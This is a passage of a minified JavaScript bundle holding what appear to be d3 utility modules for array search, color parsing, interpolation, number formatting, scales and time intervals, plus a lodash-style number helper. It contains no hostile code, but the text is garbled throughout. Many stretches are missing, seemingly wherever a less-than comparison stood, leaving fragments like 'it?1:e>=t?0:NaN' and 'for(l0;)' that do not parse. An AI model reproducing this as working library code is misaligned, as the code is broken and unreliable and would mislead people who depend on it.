t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Hk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=Vk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?it?1:e>=t?0:NaN}function T8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function r0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===T8?e:M8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function M8(){return 0}function Yk(e){return e===null?NaN:+e}function*L8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const I8=r0(wi),dl=I8.right;r0(Yk).center;class T1 extends Map{constructor(t,n=$8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(M1(this,t))}has(t){return super.has(M1(this,t))}set(t,n){return super.set(D8(this,t),n)}delete(t){return super.delete(R8(this,t))}}function M1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function D8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function R8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function $8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function B8(e=wi){if(e===wi)return qk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function qk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const F8=Math.sqrt(50),W8=Math.sqrt(10),U8=Math.sqrt(2);function ku(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=F8?10:s>=W8?5:s>=U8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function I1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Gk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?qk:B8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Gk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Vs(e,n,t),i(e[r],s)>0&&Vs(e,n,r);o0;)--l}i(e[n],s)===0?Vs(e,n,l):(++l,Vs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Vs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function V8(e,t,n){if(e=Float64Array.from(L8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return I1(e);if(t>=1)return L1(e);var r,i=(r-1)*t,s=Math.floor(i),o=L1(Gk(e,s).subarray(0,s+1)),l=I1(e.subarray(s+1));return o+(l-o)*(i-s)}}function H8(e,t,n=Yk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function K8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Xl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Xl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=G8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=X8.exec(e))?new Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=Z8.exec(e))?Xl(t[1],t[2],t[3],t[4]):(t=Q8.exec(e))?Xl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=J8.exec(e))?U1(t[1],t[2]/100,t[3]/100,1):(t=eL.exec(e))?U1(t[1],t[2]/100,t[3]/100,t[4]):D1.hasOwnProperty(e)?B1(D1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function B1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Xl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function rL(e){return e instanceof fl||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function ph(e,t,n,r){return arguments.length===1?rL(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}s0(Xt,ph,Zk(fl,{brighter(e){return e=e==null?zu:Math.pow(zu,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Ko:Math.pow(Ko,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Su(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:F1,formatHex:F1,formatHex8:iL,formatRgb:W1,toString:W1}));function F1(){return`#${Gi(this.r)}${Gi(this.g)}${Gi(this.b)}`}function iL(){return`#${Gi(this.r)}${Gi(this.g)}${Gi(this.b)}${Gi((isNaN(this.opacity)?1:this.opacity)*255)}`}function W1(){const e=Su(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Su(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Gi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function U1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function Qk(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof fl||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function aL(e,t,n,r){return arguments.length===1?Qk(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}s0(Hn,aL,Zk(fl,{brighter(e){return e=e==null?zu:Math.pow(zu,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Ko:Math.pow(Ko,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(pm(e>=240?e-240:e+120,i,r),pm(e,i,r),pm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(V1(this.h),Zl(this.s),Zl(this.l),Su(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Su(this.opacity);return`${e===1?"hsl(":"hsla("}${V1(this.h)}, ${Zl(this.s)*100}%, ${Zl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function V1(e){return e=(e||0)%360,e<0?e+360:e}function Zl(e){return Math.max(0,Math.min(1,e||0))}function pm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const o0=e=>()=>e;function sL(e,t){return function(n){return e+n*t}}function oL(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function lL(e){return(e=+e)==1?Jk:function(t,n){return n-t?oL(t,n,e):o0(isNaN(t)?n:t)}}function Jk(e,t){var n=t-e;return n?sL(e,n):o0(isNaN(e)?t:e)}const H1=function e(t){var n=lL(t);function r(i,s){var o=n((i=ph(i)).r,(s=ph(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=Jk(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function cL(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Cu(r,i)})),n=hm.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function bL(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?wL:bL,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Cu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Pu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=l0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function c0(){return Gd()(Ft,Ft)}function jL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function Eu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function us(e){return e=Eu(Math.abs(e)),e?e[1]:NaN}function NL(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function kL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var zL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Go(e){if(!(t=zL.exec(e)))throw new Error("invalid format: "+e);var t;return new u0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Go.prototype=u0.prototype;function u0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}u0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function SL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var _u;function CL(e,t){var n=Eu(e,t);if(!n)return _u=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(_u=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+Eu(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=Eu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:jL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:CL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function G1(e){return e}var X1=Array.prototype.map,Z1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function PL(e){var t=e.grouping===void 0||e.thousands===void 0?G1:NL(X1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?G1:kL(X1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Go(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,z=f.type;z==="n"?(w=!0,z="g"):q1[z]||(j===void 0&&(j=12),N=!0,z="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var k=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(z)?"0"+z.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(z)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),A=q1[z],_=/[defgprs%]/.test(z);j=j===void 0?6:/[gprs]/.test(z)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var I=k,Y=S,D,M,W;if(z==="c")Y=A(P)+Y,P="";else{P=+P;var $=P<0||1/P<0;if(P=isNaN(P)?c:A(Math.abs(P),j),N&&(P=SL(P)),$&&+P==0&&g!=="+"&&($=!1),I=($?g==="("?g:l:g==="-"||g==="("?"":g)+I,Y=(z==="s"&&!isNaN(P)&&_u!==void 0?Z1[8+_u/3]:"")+Y+($&&g==="("?")":""),_){for(D=-1,M=P.length;++DW||W>57){Y=(W===46?i+P.slice(D+1):P.slice(D))+Y,P=P.slice(0,D);break}}}w&&!v&&(P=t(P,1/0));var H=I.length+P.length+Y.length,F=H>1)+I+P+Y+F.slice(H);break;default:P=F+I+P+Y;break}return s(P)}return O.toString=function(){return f+""},O}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(us(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Go(f),f.type="f",f),{suffix:Z1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ql,d0,e4;EL({thousands:",",grouping:[3],currency:["$",""]});function EL(e){return Ql=PL(e),d0=Ql.format,e4=Ql.formatPrefix,Ql}function _L(e){return Math.max(0,-us(Math.abs(e)))}function AL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(us(t)/3)))*3-us(Math.abs(e)))}function OL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,us(t)-us(e))+1}function t4(e,t,n,r){var i=fh(e,t,n),s;switch(r=Go(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=AL(i,o))&&(r.precision=s),e4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=OL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=_L(i))&&(r.precision=s-(r.type==="%")*2);break}}return d0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return uh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return t4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l0;){if(u=dh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function n4(){var e=c0();return e.copy=function(){return ml(e,n4())},Mn.apply(e,arguments),Ai(e)}function r4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Pu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return r4(e).unknown(t)},e=arguments.length?Array.from(e,Pu):[0,1],Ai(n)}function i4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function DL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function eb(e){return(t,n)=>-e(-t,n)}function f0(e){const t=e(Q1,J1),n=t.domain;let r=10,i,s;function o(){return i=DL(r),s=IL(r),n()[0]<0?(i=eb(i),s=eb(s),e(TL,ML)):e(Q1,J1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;p<=h;++p)for(x=1;xd)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Go(c)).precision==null&&(c.trim=!0),c=d0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*rn(i4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function a4(){const e=f0(Gd()).domain([1,10]);return e.copy=()=>ml(e,a4()).base(e.base()),Mn.apply(e,arguments),e}function tb(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function nb(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function m0(e){var t=1,n=e(tb(t),nb(t));return n.constant=function(r){return arguments.length?e(tb(t=+r),nb(t)):t},Ai(n)}function s4(){var e=m0(Gd());return e.copy=function(){return ml(e,s4()).constant(e.constant())},Mn.apply(e,arguments)}function rb(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function RL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function $L(e){return e<0?-e*e:e*e}function p0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(RL,$L):e(rb(n),rb(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function h0(){var e=p0(Gd());return e.copy=function(){return ml(e,h0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function BL(){return h0.apply(null,arguments).exponent(.5)}function ib(e){return Math.sign(e)*e*e}function FL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function o4(){var e=c0(),t=[0,1],n=!1,r;function i(s){var o=FL(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(ib(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Pu)).map(ib)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return o4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function l4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return c4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function u4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[dl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return u4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const xm=new Date,vm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(ugt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(xm.setTime(+s),vm.setTime(+o),e(xm),e(vm),Math.floor(n(xm,vm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Au=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Au.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Au);Au.range;const Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,x0=Dr*7,ab=Dr*30,gm=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const v0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());v0.range;const g0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());g0.range;const y0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());y0.range;const b0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());b0.range;const pl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);pl.range;const Xd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Xd.range;const d4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));d4.range;function ba(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/x0)}const Zd=ba(0),Ou=ba(1),WL=ba(2),UL=ba(3),ds=ba(4),VL=ba(5),HL=ba(6);Zd.range;Ou.range;WL.range;UL.range;ds.range;VL.range;HL.range;function wa(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/x0)}const Qd=wa(0),Tu=wa(1),KL=wa(2),YL=wa(3),fs=wa(4),qL=wa(5),GL=wa(6);Qd.range;Tu.range;KL.range;YL.range;fs.range;qL.range;GL.range;const w0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());w0.range;const j0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());j0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function f4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,x0],[t,1,ab],[t,3,3*ab],[e,1,gm]];function l(u,d,f){const p=dy).right(o,p);if(h===o.length)return e.every(fh(u/gm,d/gm,f));if(h===0)return Au.every(Math.max(fh(u,d,f),1));const[x,g]=o[p/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(we=bm(Hs(B.y,0,1)),Ne=we.getUTCDay(),we=Ne>4||Ne===0?Tu.ceil(we):Tu(we),we=Xd.offset(we,(B.V-1)*7),B.y=we.getUTCFullYear(),B.m=we.getUTCMonth(),B.d=we.getUTCDate()+(B.w+6)%7):(we=ym(Hs(B.y,0,1)),Ne=we.getDay(),we=Ne>4||Ne===0?Ou.ceil(we):Ou(we),we=pl.offset(we,(B.V-1)*7),B.y=we.getFullYear(),B.m=we.getMonth(),B.d=we.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),Ne="Z"in B?bm(Hs(B.y,0,1)).getUTCDay():ym(Hs(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(Ne+5)%7:B.w+B.U*7-(Ne+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,bm(B)):ym(B)}}function S(C,q,ne,B){for(var le=0,we=q.length,Ne=ne.length,Ae,R;le=Ne)return-1;if(Ae=q.charCodeAt(le++),Ae===37){if(Ae=q.charAt(le++),R=N[Ae in sb?q.charAt(le++):Ae],!R||(B=R(C,ne,B))<0)return-1}else if(Ae!=ne.charCodeAt(B++))return-1}return B}function A(C,q,ne){var B=u.exec(q.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function _(C,q,ne){var B=h.exec(q.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function O(C,q,ne){var B=f.exec(q.slice(ne));return B?(C.w=p.get(B[0].toLowerCase()),ne+B[0].length):-1}function 